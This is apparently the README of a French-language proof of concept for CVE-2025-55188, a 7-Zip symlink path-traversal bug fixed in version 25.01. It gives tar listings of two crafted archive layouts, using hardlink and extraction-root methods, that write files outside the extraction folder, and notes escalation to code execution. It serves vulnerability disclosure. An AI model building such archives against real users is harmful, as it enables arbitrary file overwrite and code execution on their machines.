
Preuve de concept d'exploit pour CVE-2025-55188 démontrant une écriture arbitraire de fichier dans 7-Zip via une traversée de chemin par lien symbolique, avec escalade vers une exécution de code arbitraire.
Preuve de concept de CVE-2025-55188, une écriture arbitraire de fichier dans 7-Zip. Corrigé dans la version 25.01, publiée le 3 août 2025.
Note: CVE-2025-55188 est différent de CVE-2025-11001.
La version dans laquelle CVE-2025-11001 a été corrigée (version 25.00) est toujours vulnérable à une exécution de code arbitraire via des attaques de liens symboliques en raison de CVE-2025-55188.
CVE-2025-55188 a été découvert et publié avant la publication de CVE-2025-11001.
Voir https://lunbun.dev/blog/cve-2025-55188/ pour une explication et un rapport plus détaillés.
La vulnérabilité est assez simple.
Le déplacement de chemin (path traversal) s'effectue via des liens symboliques pour écrire arbitrairement des fichiers. De là, l'écriture arbitraire de fichier peut être élevée en exécution de code arbitraire en écrivant dans des fichiers critiques.
Le déplacement de chemin par liens symboliques est possible en raison d'un cas limite dans les vérifications de sécurité des liens symboliques. J'ai trouvé deux façons de le faire. Voir l'article de blog pour plus de détails.
Le fichier .tar suivant écrira dans ../a/b/file.txt lors de l'extraction :
$ tar -tvf write.tar
lrw-r--r-- 0/0 0 1969-12-31 16:00 a/link -> ../a/b
hrwxr-xr-x 0/0 0 1969-12-31 16:00 link link to a/link
-rw-r--r-- 0/0 44 1969-12-31 16:00 link/file.txt
poc_hardlink contient le code utilisant la méthode des liens physiques.
Le fichier .tar suivant écrira dans ../file.txt lors de l'extraction (uniquement sous Linux) :
$ tar -tvf write.tar
lrw-r--r-- 0/0 0 1969-12-31 16:00 a/b/link -> /a
lrw-r--r-- 0/0 0 1969-12-31 16:00 link -> a/b/link/../../
-rw-r--r-- 0/0 44 1969-12-31 16:00 link/file.txt
poc_extraction_root contient le code utilisant la méthode de racine d'extraction.